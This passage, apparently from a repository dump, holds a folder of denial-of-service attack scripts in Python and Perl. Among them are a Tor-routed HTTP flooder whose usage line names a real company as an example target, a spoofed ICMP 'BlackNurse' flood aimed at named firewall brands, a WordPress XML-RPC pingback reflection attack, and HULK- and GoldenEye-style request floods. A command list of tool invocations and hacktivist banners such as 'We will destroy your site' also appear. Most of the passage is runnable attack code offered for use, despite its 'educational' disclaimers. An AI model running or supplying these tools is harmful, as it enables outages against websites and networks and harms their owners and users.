Perk/3.3.0.0)", 199 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)", 200 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8)", 201 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", 202 | "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", 203 | "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", 204 | "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", 205 | "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51)", 206 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6", 207 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)", 208 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" 209 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7) " 210 | "AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3", 211 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) " 212 | "AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1", 213 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1) " 214 | "Gecko/20100101 Firefox/5.0.1", 215 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) " 216 | "AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30", 217 | "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) " 218 | "Presto/2.9.168 Version/11.50", 219 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)" 220 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", 221 | "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", 222 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13", 223 | "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", 224 | "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)", 225 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16", 226 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", 227 | "Mozilla/5.7.4 (Fedora015; U; AMD_PhenX6 Linux Kernal 2.6.35.2; en-UK) DevKit/534.7 (Gecko) Chrome/7.0.517.44 GoogleR/9.47.1[BlackPanda]", 228 | ] 229 | #builds random ascii string(Imported this shit from Hulk.py:) 230 | def buildblock(self, size): 231 | out_str = '' 232 | 233 | _LOWERCASE = range(97, 122) 234 | _UPPERCASE = range(65, 90) 235 | _NUMERIC = range(48, 57) 236 | 237 | validChars = _LOWERCASE + _UPPERCASE + _NUMERIC 238 | 239 | for i in range(0, size): 240 | a = random.choice(validChars) 241 | out_str += chr(a) 242 | 243 | return out_str 244 | 245 | class httpPost(Thread): 246 | def __init__(self, host, port, tor): 247 | Thread.__init__(self) 248 | self.host = host 249 | self.port = port 250 | self.socks = socks.socksocket() 251 | self.tor = tor 252 | self.running = True 253 | 254 | def _send_http_get(self, pause = random.randrange(1, 10)): 255 | global stop_now 256 | self.socks.send("GET / HTTP/1.1\r\n" 257 | "Host: %s\r\n" 258 | "User-Agent: %s\r\n" 259 | "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" 260 | "Accept: image/png,*/*;q=0.5\r\n" 261 | "Cache-Control: no-cache, max-age=0\r\n" 262 | "Connection: keep-alive\r\n" 263 | "Keep-Alive: 120\r\n" 264 | "Content-Length: 42\r\n\r\n" % 265 | #"Content-Type: application/x-www-form-urlencoded\r\n\r\n" % 266 | (self.host, random.choice(useragents))) 267 | 268 | 269 | for i in range(0, 9999): 270 | if stop_now: 271 | self.running = False 272 | break 273 | p = random.choice(string.letters+string.digits) 274 | data = ['\x00','\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'] 275 | packet = random.choice(data) 276 | magic = random.choice(packet+p) 277 | print term.BOL+term.UP+term.CLEAR_EOL+"SENDING PACKETS!: %s" % magic+term.NORMAL 278 | self.socks.send(magic) 279 | time.sleep(random.uniform(0.1, 3)) 280 | 281 | self.socks.close() 282 | 283 | def run(self): 284 | while self.running: 285 | while self.running: 286 | try: 287 | if self.tor: 288 | self.socks = socks.socksocket() 289 | self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) 290 | self.socks.connect((self.host, self.port)) 291 | print term.BOL+term.UP+term.CLEAR_EOL+"Stressing target!!"+ term.NORMAL 292 | break 293 | except Exception, e: 294 | if e.args[0] == 106 or e.args[0] == 60: 295 | break 296 | print term.BOL+term.UP+term.CLEAR_EOL+"Failed - Make sure you removed http://"+ term.NORMAL 297 | time.sleep(1) 298 | continue 299 | 300 | while self.running: 301 | try: 302 | self._send_http_get() 303 | except Exception, e: 304 | if e.args[0] == 32 or e.args[0] == 104: 305 | print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL 306 | self.socks = socks.socksocket() 307 | break 308 | time.sleep(1) 309 | pass 310 | 311 | def usage(): 312 | print "./b0wS3rDdos.py -t [-r -p -T -h]" 313 | print "---b0wS3r---" 314 | print " Make sure you don't execute with http:// in your url" 315 | print " -t|--target " 316 | print " -r|--threads Defaults to 65000" 317 | print " -p|--port Defaults to 80" 318 | print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050" 319 | print " -h|--help Shows this help\n" 320 | print "Eg. ./b0wS3rDdos.py -t www.rothschild.com -r 65000\n" 321 | 322 | def main(argv): 323 | 324 | try: 325 | opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="]) 326 | except getopt.GetoptError: 327 | usage() 328 | sys.exit(-1) 329 | 330 | global stop_now 331 | 332 | target = '' 333 | threads = 65000 334 | tor = True 335 | port = 80 336 | 337 | for o, a in opts: 338 | if o in ("-h", "--help"): 339 | usage() 340 | sys.exit(0) 341 | if o in ("-T", "--tor"): 342 | tor = True 343 | elif o in ("-t", "--target"): 344 | target = a 345 | elif o in ("-r", "--threads"): 346 | threads = int(a) 347 | elif o in ("-p", "--port"): 348 | port = int(a) 349 | 350 | if target == '' or int(threads) <= 0: 351 | usage() 352 | sys.exit(-1) 353 | 354 | print term.DOWN + term.RED + "/*" + term.NORMAL 355 | print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL 356 | print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL 357 | print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL 358 | print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL 359 | 360 | rthreads = [] 361 | for i in range(threads): 362 | t = httpPost(target, port, tor) 363 | rthreads.append(t) 364 | t.start() 365 | 366 | while len(rthreads) > 0: 367 | try: 368 | rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()] 369 | except KeyboardInterrupt: 370 | print "\nShutting down threads...\n" 371 | for t in rthreads: 372 | stop_now = True 373 | t.running = False 374 | 375 | if __name__ == "__main__": 376 | print "\n/*" 377 | print " *"+term.GREEN + "Anonymous" 378 | print " * We Do Not Forgive" 379 | print " * We Do Not Forget" 380 | print " * We are The Voice of the Voiceless " 381 | print " * We Are Legion" 382 | print " */\n" 383 | 384 | main(sys.argv[1:]) 385 | 386 | 387 | -------------------------------------------------------------------------------- /DDOS-Scripts/cisco.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Cisco ASA 5515/5525/5550/5515-X | Fotinet | 4 | # Fortigate | SonicWall | PaloAlto | Zyxel NWA3560-N | 5 | # Zyxel Zywall USG50 Spoofed "BlackNurse" DoS PoC 6 | # 7 | # Copyright 2016 (c) Todor Donev 8 | # Varna, Bulgaria 9 | # todor.donev@gmail.com 10 | # https://www.ethical-hacker.org/ 11 | # https://www.facebook.com/ethicalhackerorg 12 | # http://pastebin.com/u/hackerscommunity 13 | # 14 | # 15 | # Description: 16 | # Blacknurse is a low bandwidth ICMP attack that is capable of doing denial 17 | # of service to well known firewalls. Most ICMP attacks that we see are based 18 | # on ICMP Type 8 Code 0 also called a ping flood attack. BlackNurse is based 19 | # on ICMP with Type 3 Code 3 packets. We know that when a user has allowed ICMP 20 | # Type 3 Code 3 to outside interfaces, the BlackNurse attack becomes highly 21 | # effective even at low bandwidth. Low bandwidth is in this case around 15-18 22 | # Mbit/s. This is to achieve the volume of packets needed which is around 40 to 23 | # 50K packets per second. It does not matter if you have a 1 Gbit/s Internet 24 | # connection. The impact we see on different firewalls is typically high CPU 25 | # loads. When an attack is ongoing, users from the LAN side will no longer be 26 | # able to send/receive traffic to/from the Internet. All firewalls we have seen 27 | # recover when the attack stops. 28 | # 29 | # Disclaimer: 30 | # This or previous program is for Educational purpose ONLY. Do not 31 | # use it without permission. The usual disclaimer applies, especially 32 | # the fact that Todor Donev is not liable for any damages caused by 33 | # direct or indirect use of the information or functionality provided 34 | # by these programs. The author or any Internet provider bears NO 35 | # responsibility for content or misuse of these programs or any 36 | # derivatives thereof. By using these programs you accept the fact 37 | # that any damage (dataloss, system crash, system compromise, etc.) 38 | # caused by the use of these programs is not Todor Donev's 39 | # responsibility. 40 | # 41 | # Use at your own risk and educational 42 | # purpose ONLY! 43 | # 44 | # Thanks to Maya (Maiya|Mia) Hristova and all my friends 45 | # that support me. 46 | # 47 | # 48 | 49 | use Net::RawIP; 50 | 51 | print "[ Cisco ASA 5515/5525/5550/5515-X | Fotinet | Fortigate | SonicWall | PaloAlto | Zyxel NWA3560-N | Zyxel Zywall USG50 Spoofed \"BlackNurse\" DoS PoC\n"; 52 | print "[ ======\n"; 53 | print "[ Usg: $0 \n"; 54 | print "[ Example: perl $0 133.71.33.7 192.168.1.1\n"; 55 | print "[ ======\n"; 56 | print "[ Todor Donev\n"; 57 | print "[ Facebook: https://www.facebook.com/ethicalhackerorg\n"; 58 | print "[ Website: https://www.ethical-hacker.org/\n"; 59 | 60 | my $spoof = $ARGV[0]; 61 | my $target = $ARGV[1]; 62 | 63 | my $sock = new Net::RawIP({ icmp => {} }) or die; 64 | 65 | print "[ Sending crafted packets..\n"; 66 | while () { 67 | $sock->set({ ip => { saddr => $spoof, daddr => $target}, 68 | icmp => { type => 3, code => 3} }); 69 | $sock->send; 70 | $sock->set({ icmp => { type=>3, code => 0}}); 71 | $sock->send; 72 | $sock->set({ icmp => { type=>3, code => 1}}); 73 | $sock->send; 74 | $sock->set({ icmp => { type=>3, code => 2}}); 75 | $sock->send; 76 | } 77 | -------------------------------------------------------------------------------- /DDOS-Scripts/clover.py: -------------------------------------------------------------------------------- 1 | #CLOVERDOSER 2 | #!/usr/bin/python 3 | import sys 4 | import socket 5 | import threading 6 | import time 7 | import os 8 | import re 9 | Lock = threading.Lock() 10 | def main(): 11 | try: 12 | in_file = open("xml.txt","r") 13 | except: 14 | raw_input('You need a list.txt file to work') 15 | sys.exit(0) 16 | print '\tXML-RPC KIT HERO DDoS DGv1\n' 17 | url = sys.argv[1] 18 | num_thread = int(sys.argv[2]) 19 | if url.count("/")==2: 20 | url = url + "/" 21 | m = re.search('http\://([^/]*)/?.*', url) 22 | host = m.group(1) 23 | for i in range(num_thread): 24 | for t in range(100): 25 | try: 26 | in_line = in_file.readline() 27 | Thread1(url, i+1, in_line).start() 28 | in_line = in_line[:-1] 29 | except: 30 | pass 31 | time.sleep(3) 32 | 33 | 34 | class Thread1(threading.Thread): 35 | def __init__(self, url, number, blog): 36 | self.url = url 37 | self.number = number 38 | self.blog = blog 39 | threading.Thread.__init__(self) 40 | 41 | def run(self): 42 | Lock.acquire() 43 | #print 'Starting thread #%s'%self.number 44 | Lock.release() 45 | function_pingback = "pingback.ping%s%s"%(self.url, self.blog) 46 | request_lenght = len(function_pingback) 47 | try: 48 | self.blog_cleaned = self.blog.split("?p=")[0] 49 | self.blog_cleaned1 = self.blog_cleaned.split("http://")[1].split("/")[0] 50 | except: 51 | sys.exit(0) 52 | request = "POST %s/xmlrpc.php HTTP/1.0\r\nHost: %s\r\nUser-Agent: Internal Wordpress RPC connection\r\nContent-Type: text/xml\r\nContent-Length: %s\r\n\npingback.ping%s%s\r\n\r\n"%(self.blog_cleaned, self.blog_cleaned1, request_lenght, self.url, self.blog) 53 | while True: 54 | time.sleep(3) 55 | try: 56 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP) 57 | s.connect((self.blog_cleaned1, 80)) 58 | s.send(request) 59 | print self.blog_cleaned1+" connect " + self.url 60 | except: 61 | print 'Error' 62 | ok = 0 63 | main() 64 | -------------------------------------------------------------------------------- /DDOS-Scripts/command: -------------------------------------------------------------------------------- 1 | python saphyra.py http://www.TARGET.COM 2 | 3 | python hulk.py http://www.TARGET.COM 4 | 5 | python akira.py http://www.TARGET.COM 6 | 7 | python botnet.py http://www.TARGET.COM 8 | 9 | python httpdoser.py http://www.TARGET.COM 10 | 11 | perl slowloris.pl -dns www.TARGET.COM 12 | 13 | python sadboys.py http://www.TARGET.COM 14 | 15 | python sadattack.py http://www.TARGET.COM 16 | 17 | python torshammer.py -t www.TARGET.COM -r 10000 18 | 19 | 20 | -------------------------------------------------------------------------------- /DDOS-Scripts/dark.py: -------------------------------------------------------------------------------- 1 | ####################################-> 2 | #4312644bf54db17180c8a95add9fdc06####-->Hello admin 3 | #9dfb17e500b557a9d985c08da4fd0aaf#####--->We will destroy your site 4 | #5afc3c0f68ff47b53b485fcd53e898a9######---->OpIcarus 5 | #ff46a6b3100d11c29d4233c72f604a10#####--->Goodbye admin 6 | #6e70e3b1bf171ae14505f4f8b0dc4e5a####-->D4rk 7 | ####################################->D4rkN3t 8 | #Anonymous 9 | 10 | 11 | import urllib2 12 | import sys 13 | import threading 14 | import random 15 | import re 16 | 17 | #global params 18 | url='' ############################### 19 | host='' #~~~~Created By ANONYMOUS~~~~# 20 | headers_useragents=[] 21 | headers_referers=[] 22 | request_counter=0 23 | flag=0 24 | safe=0 ############################### 25 | 26 | def inc_counter(): 27 | global request_counter 28 | request_counter+=45 29 | 30 | def set_flag(val): 31 | global flag 32 | flag=val 33 | 34 | def set_safe(): 35 | global safe 36 | safe=1 37 | 38 | # generates a user agent array 39 | def useragent_list(): 40 | global headers_useragents 41 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534') 42 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 43 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 44 | headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)') 45 | headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2') 46 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 47 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 48 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 49 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 50 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 51 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 52 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 53 | return(headers_useragents) 54 | 55 | # generates a referer array 56 | def referer_list(): 57 | global headers_referers 58 | headers_referers.append('http://www.google.com/?q=') ############################ 59 | headers_referers.append('http://www.usatoday.com/search/results?q=') #Pre-configured # 60 | headers_referers.append('http://engadget.search.aol.com/search?q=') #Botnets # 61 | headers_referers.append('http://www.google.com/?q=') #Infected's Websites # 62 | headers_referers.append('http://www.usatoday.com/search/results?q=') #Best's Shells Only # 63 | headers_referers.append('http://engadget.search.aol.com/search?q=') #All uploaded by Anonymous_# 64 | headers_referers.append('http://www.bing.com/search?q=') #From Hackers To Hackers # 65 | headers_referers.append('http://search.yahoo.com/search?p=') ############################ 66 | headers_referers.append('http://www.ask.com/web?q=') 67 | headers_referers.append('http://search.lycos.com/web/?q=') 68 | headers_referers.append('http://busca.uol.com.br/web/?q=') 69 | headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=') 70 | headers_referers.append('http://www.dmoz.org/search/search?q=') 71 | headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=') 72 | headers_referers.append('http://yandex.ru/yandsearch?text=') 73 | headers_referers.append('http://www.zhongsou.com/third?w=') 74 | headers_referers.append('http://hksearch.timway.com/search.php?query=') 75 | headers_referers.append('http://find.ezilon.com/search.php?q=') 76 | headers_referers.append('http://www.sogou.com/web?query=') 77 | headers_referers.append('http://api.duckduckgo.com/html/?q=') 78 | headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=') 79 | 80 | # generates a Keyword list 81 | def keyword_list(): 82 | global keyword_top 83 | keyword_top.append('D4rkN3t') 84 | 85 | 86 | headers_referers.append('http://' + host + '/') 87 | return(headers_referers) 88 | 89 | #builds random ascii string 90 | def buildblock(size): 91 | out_str = '' 92 | for i in range(0, size): 93 | a = random.randint(65, 160) 94 | out_str += chr(a) 95 | return(out_str) 96 | 97 | def usage(): 98 | print 'D4rk Mass DDoS Tool created by D4rkN3n' 99 | print 'Facebook Profile: https://www.facebook.com/profile.php?id=100013355013276' 100 | print 'Usage: d4rk.py (url)' 101 | print 'Example: d4rk.py http://target.com/' 102 | print "\a" 103 | print \ 104 | """ 105 | ( 106 | )\ ) ) ) 107 | (()/( ( /(( ( /( 108 | /(_)) )\())( )\()) 109 | (_))_ ((_)(()\((_)\ 110 | | \| | (_|(_) |(_) 111 | | |) |_ _| '_| / / 112 | |___/ |_||_| |_\_\ 113 | 114 | _________________________ 115 | 116 | """ 117 | 118 | 119 | #http request 120 | def httpcall(url): 121 | useragent_list() 122 | referer_list() 123 | code=0 124 | if url.count("?")>0: 125 | param_joiner="&" 126 | else: 127 | param_joiner="?" 128 | request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) 129 | request.add_header('User-Agent', random.choice(headers_useragents)) 130 | request.add_header('Cache-Control', 'no-cache') 131 | request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') 132 | request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100))) 133 | request.add_header('Keep-Alive', random.randint(110,160)) 134 | request.add_header('Connection', 'keep-alive') 135 | request.add_header('Host',host) 136 | try: 137 | urllib2.urlopen(request) 138 | except urllib2.HTTPError, e: 139 | #print e.code 140 | set_flag(1) 141 | 142 | print ' ' 143 | print '***** We Are Anonymous *****' 144 | print '***** Your website will be down *****' 145 | print ' ' 146 | 147 | code=500 148 | except urllib2.URLError, e: 149 | #print e.reason 150 | sys.exit() 151 | else: 152 | inc_counter() 153 | urllib2.urlopen(request) 154 | return(code) 155 | 156 | 157 | #http caller thread 158 | class HTTPThread(threading.Thread): 159 | def run(self): 160 | try: 161 | while flag<2: 162 | code=httpcall(url) 163 | if (code==500) & (safe==1): 164 | set_flag(2) 165 | except Exception, ex: 166 | pass 167 | 168 | # monitors http threads and counts requests 169 | class MonitorThread(threading.Thread): 170 | def run(self): 171 | previous=request_counter 172 | while flag==0: 173 | if (previous+150request_counter): 174 | print "#~~~>D4rk Virus Sended: %d Sending more<~~~#" % (request_counter) 175 | previous=request_counter 176 | if flag==2: 177 | print "\n ~>Stopping the mass DDoS Attack<~" 178 | 179 | #execute 180 | if len(sys.argv) < 2: 181 | usage() 182 | sys.exit() 183 | else: 184 | if sys.argv[1]=="help": 185 | usage() 186 | sys.exit() 187 | else: 188 | print "Starting the D4rk Attack" 189 | print "WTF U R DEAD" 190 | if len(sys.argv)== 3: 191 | if sys.argv[2]=="safe": 192 | set_safe() 193 | url = sys.argv[1] 194 | if url.count("/")==2: 195 | url = url + "/" 196 | m = re.search('http\://([^/]*)/?.*', url) 197 | host = m.group(1) 198 | for i in range(700): 199 | t = HTTPThread() 200 | t.start() 201 | t = MonitorThread() 202 | t.start() 203 | 204 | ####################################-> 205 | #4312644bf54db17180c8a95add9fdc06####-->Hello admin 206 | #9dfb17e500b557a9d985c08da4fd0aaf#####--->We will destroy your site 207 | #5afc3c0f68ff47b53b485fcd53e898a9######---->OpIcarus 208 | #ff46a6b3100d11c29d4233c72f604a10#####--->Goodbye admin 209 | #6e70e3b1bf171ae14505f4f8b0dc4e5a####-->D4rkN3t 210 | ####################################->An0nYMouS 211 | -------------------------------------------------------------------------------- /DDOS-Scripts/ddos.py: -------------------------------------------------------------------------------- 1 | 2 | import time 3 | import socket 4 | import os 5 | import sys 6 | import string 7 | 8 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 9 | 10 | def restart_program(): 11 | python = sys.executable 12 | os.execl(python, python, * sys.argv) 13 | curdir = os.getcwd() 14 | 15 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 16 | 17 | print ("DDoS mode loaded") 18 | print ("python script made by an0nymous_nl twitter") 19 | host=raw_input( "Site you want to DDoS:" ) 20 | port=input( "Port you want to attack:" ) 21 | message=raw_input( "Input the message you want to send:" ) 22 | conn=input( "How many connections you want to make:" ) 23 | ip = socket.gethostbyname( host ) 24 | print ("[" + ip + "]") 25 | print ( "[Ip is locked]" ) 26 | print ( "[Attacking " + host + "]" ) 27 | print ("+----------------------------+") 28 | def dos(): 29 | #pid = os.fork() 30 | ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 31 | try: 32 | ddos.connect((host, 80)) 33 | ddos.send( message ) 34 | ddos.sendto( message, (ip, port) ) 35 | ddos.send( message ); 36 | except socket.error, msg: 37 | print("|[Connection Failed] |") 38 | print ( "|[DDoS Attack Engaged] |") 39 | ddos.close() 40 | for i in range(1, conn): 41 | dos() 42 | print ("+----------------------------+") 43 | print("The connections you requested had finished") 44 | if __name__ == "__main__": 45 | answer = raw_input("Do you want to ddos more?") 46 | if answer.strip() in "y Y yes Yes YES".split(): 47 | restart_program() 48 | else: 49 | os.system(curdir+"Deqmain.py") 50 | -------------------------------------------------------------------------------- /DDOS-Scripts/goldeney.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Purvapatel4725/Automated-Scripts/cdcf9b95ad570b6d72475b8ab064ab4de815cb66/DDOS-Scripts/goldeney.rar -------------------------------------------------------------------------------- /DDOS-Scripts/goldeneye.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | $Id: $ 5 | 6 | /$$$$$$ /$$ /$$ /$$$$$$$$ 7 | /$$__ $$ | $$ | $$ | $$_____/ 8 | | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$ 9 | | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$ 10 | | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$ 11 | | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/ 12 | | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$ 13 | \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/ 14 | /$$ | $$ 15 | | $$$$$$/ 16 | \______/ 17 | 18 | 19 | 20 | This tool is a dos tool that is meant to put heavy load on HTTP servers 21 | in order to bring them to their knees by exhausting the resource pool. 22 | 23 | This tool is meant for research purposes only 24 | and any malicious usage of this tool is prohibited. 25 | 26 | @author Jan Seidl 27 | 28 | @date 2014-02-18 29 | @version 2.1 30 | 31 | @TODO Test in python 3.x 32 | 33 | LICENSE: 34 | This software is distributed under the GNU General Public License version 3 (GPLv3) 35 | 36 | LEGAL NOTICE: 37 | THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! 38 | IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY 39 | THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. 40 | BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS. 41 | """ 42 | 43 | from multiprocessing import Process, Manager, Pool 44 | import urlparse, ssl 45 | import sys, getopt, random, time, os 46 | 47 | # Python version-specific 48 | if sys.version_info < (3,0): 49 | # Python 2.x 50 | import httplib 51 | HTTPCLIENT = httplib 52 | else: 53 | # Python 3.x 54 | import http.client 55 | HTTPCLIENT = http.client 56 | 57 | #### 58 | # Config 59 | #### 60 | DEBUG = False 61 | 62 | #### 63 | # Constants 64 | #### 65 | METHOD_GET = 'get' 66 | METHOD_POST = 'post' 67 | METHOD_RAND = 'random' 68 | 69 | JOIN_TIMEOUT=1.0 70 | 71 | DEFAULT_WORKERS=10 72 | DEFAULT_SOCKETS=500 73 | 74 | GOLDENEYE_BANNER = 'GoldenEye v2.1 by Anonymous' 75 | 76 | USER_AGENT_PARTS = { 77 | 'os': { 78 | 'linux': { 79 | 'name': [ 'Linux x86_64', 'Linux i386' ], 80 | 'ext': [ 'X11' ] 81 | }, 82 | 'windows': { 83 | 'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ], 84 | 'ext': [ 'WOW64', 'Win64; x64' ] 85 | }, 86 | 'mac': { 87 | 'name': [ 'Macintosh' ], 88 | 'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ] 89 | }, 90 | }, 91 | 'platform': { 92 | 'webkit': { 93 | 'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ], 94 | 'details': [ 'KHTML, like Gecko' ], 95 | 'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ] 96 | }, 97 | 'iexplorer': { 98 | 'browser_info': { 99 | 'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ], 100 | 'ext_pre': [ 'compatible', 'Windows; U' ], 101 | 'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ] 102 | } 103 | }, 104 | 'gecko': { 105 | 'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ], 106 | 'details': [], 107 | 'extensions': [] 108 | } 109 | } 110 | } 111 | 112 | #### 113 | # GoldenEye Class 114 | #### 115 | 116 | class GoldenEye(object): 117 | 118 | # Counters 119 | counter = [0, 0] 120 | last_counter = [0, 0] 121 | 122 | # Containers 123 | workersQueue = [] 124 | manager = None 125 | useragents = [] 126 | 127 | # Properties 128 | url = None 129 | 130 | # Options 131 | nr_workers = DEFAULT_WORKERS 132 | nr_sockets = DEFAULT_SOCKETS 133 | method = METHOD_GET 134 | 135 | def __init__(self, url): 136 | 137 | # Set URL 138 | self.url = url 139 | 140 | # Initialize 